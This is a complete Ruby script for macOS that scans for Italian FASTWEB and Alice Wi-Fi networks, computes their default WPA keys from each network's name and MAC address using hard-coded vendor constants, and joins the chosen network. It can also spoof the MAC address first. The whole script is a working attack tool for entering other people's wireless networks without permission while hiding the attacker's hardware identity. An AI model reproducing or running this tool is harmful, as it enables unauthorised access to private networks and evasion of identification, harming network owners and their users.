#!/usr/bin/env ruby

#***************************************************************************
#* FastWeb Pirelli WPA Discovery AND Alice AGPF WPA Discovery
#*
#* ruby/OSX 10.6 version by davide.guerri@gmail.com
#*
#* Algorithm and php implementation by evilsocket - evilsocket@gmail.com *
#*
#* This program is free software; you can redistribute it and/or modify *
#* it under the terms of the GNU General Public License as published by *
#* the Free Software Foundation; either version 2 of the License, or *
#* (at your option) any later version. *
#*
#* This program is distributed in the hope that it will be useful, *
#* but WITHOUT ANY WARRANTY; without even the implied warranty of *
#* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
#* GNU General Public License for more details. *
#*
#* You should have received a copy of the GNU General Public License *
#* along with this program; if not, write to the *
#* Free Software Foundation, Inc., *
#* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
#***************************************************************************/

require 'digest/md5'
require 'digest/sha2'

# Change this to true for mac address spoofing
CHANGE_MAC=false
FAKE_MAC="00:11:22:33:44:55"
AIRPORT_IF="en1"
AIRPORT_NAME="Airport"

SUDO="sudo"
AIRPORT="/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport"
NETSETUP="/usr/sbin/networksetup -setairportnetwork #{AIRPORT_NAME}"
MAC_CHANGE="#{SUDO} ifconfig #{AIRPORT_IF} ether #{FAKE_MAC}"


SEQ_20 = "\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66"
SN_TABLE = { '96' => [ '69102', 13, 96017051 ],
             '93' => [ '69101', 13, 92398366 ],
             '56' => [ '67902', 13, 54808800 ],
             '55' => [ '67904', 8,  55164449 ],
             '54' => [ '67903', 8,  52420689 ],
             '48' => [ '67903', 8,  47896103 ],
             '46' => [ '67902', 13, 39015145 ] };
CONV_TABLE = "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123".scan(/./);
ALIS       = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";

def rescan()
  nets = []
  puts "\e[32;40m[INFO] Scanning wi-fi networks . . . "

  f = IO.popen("#{AIRPORT} -s | grep \"WPA(PSK/TKIP/TKIP)\" | sort -u")
  f.readlines.each { |line|
    if (line =~ /\A\s+FASTWEB-1-(([a-z0-9]{2})([a-z0-9]{2})([a-z0-9]{2})([a-z0-9]{2})([a-z0-9]{2})([a-z0-9]{2}))\s([a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2})\s(\-[0-9]+)/i)
      ssid = "FASTWEB-1-#{$1}"
      ssid_bytes = [ $2, $3, $4, $5, $6, $7 ]
      rssi = $9.to_i
      str = ssid_bytes.map { |s| eval("0x#{s}").chr }.to_s + SEQ_20    
      md5_hex= Digest::MD5.hexdigest(str).scan(/.{2}/)
      md5_bin = md5_hex.map { |hex_byte| "%08b" % eval("0x#{hex_byte}") }.to_s
      wpa_key = md5_bin[0,25].scan(/.{5}/).map { |gr| b = eval("0b#{gr}") ; "%02x" % (b >= 0x0a ? b + 0x57 : b) }.to_s
    
      nets.push({ :net => ssid, :rssi => rssi, :key => wpa_key})
    elsif (line =~ /\A\s+Alice-(([0-9]{2})[0-9]+)\s([a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2}:[a-z0-9]{2})\s(\-[0-9]+)/i)
      ssid = "Alice-#{$1}"
      id = $1.to_i
      tid = $2
      rssi = $4.to_i
      mac = $3.split(':').map{ |b| eval("0x#{b}").chr }.to_s
      
      if SN_TABLE[tid]
        serial = SN_TABLE[tid][0] + "X%07i" % ((id - SN_TABLE[tid][2]) / SN_TABLE[tid][1]);
        sha256_hex = Digest::SHA2.hexdigest(ALIS + serial + mac ).scan(/.{2}/);
        wpa_key = sha256_hex[0,24].map { |hex_byte| CONV_TABLE[eval("0x#{hex_byte}")] }.to_s

        nets.push({ :net => ssid, :rssi => rssi, :key => wpa_key})
      end
    end
  }
  return nets
end

system("clear")
nets = rescan()

begin
  puts "\e[32;40m[INFO] Networks list"
  nets.sort! { |a,b| -(a[:rssi] <=> b[:rssi]) }
  nets.each_with_index { |n,i| puts "\e[34;40m[ %02i ] - [\e[37;40m Quality %02i \e[34;40m] - %22s --> WPA KEY: %s" % [ (i+1), 100 + n[:rssi], n[:net], n[:key] ] }
  puts  "\e[32;40m[INFO] Choose a network entering its number. Any other input to rescan."
  print "\e[32;40m[INFO] Press enter to confirm: "
  choice_s = gets
  choice = choice_s.to_i
  if not (choice <= nets.length and choice >= 1)
    system("clear")
    nets = rescan()
  end
end while not (choice <= nets.length and choice > 0)

choice = choice - 1

if CHANGE_MAC
  puts "\e[32;40m[INFO] Changing your mac address to #{FAKE_MAC}...(insert your password if asked)"
  unless system("#{SUDO} #{AIRPORT} -z ; sleep 10") and system("#{MAC_CHANGE}")
    puts "\e[31;40m[FAIL] Cannot change your mac address!"
    exit 1
  end
end

puts "\e[32;40m[INFO] Connecting to #{nets[choice][:net]} with key '#{nets[choice][:key]}'..."

if nets[choice][:rssi] < -60
  puts "\e[33;40m[WARN] Signal strength of choosen network is very low!"
  puts "\e[33;40m[WARN] If association fails, please move closer to the access point..." 
end

if system("#{NETSETUP} #{nets[choice][:net]} #{nets[choice][:key]} >/dev/null 2>&1")
  puts "\e[32;40m[INFO] Enjoy! :->"
else
  puts "\e[31;40m[FAIL] Something went wrong! :-("
  exit 2
end

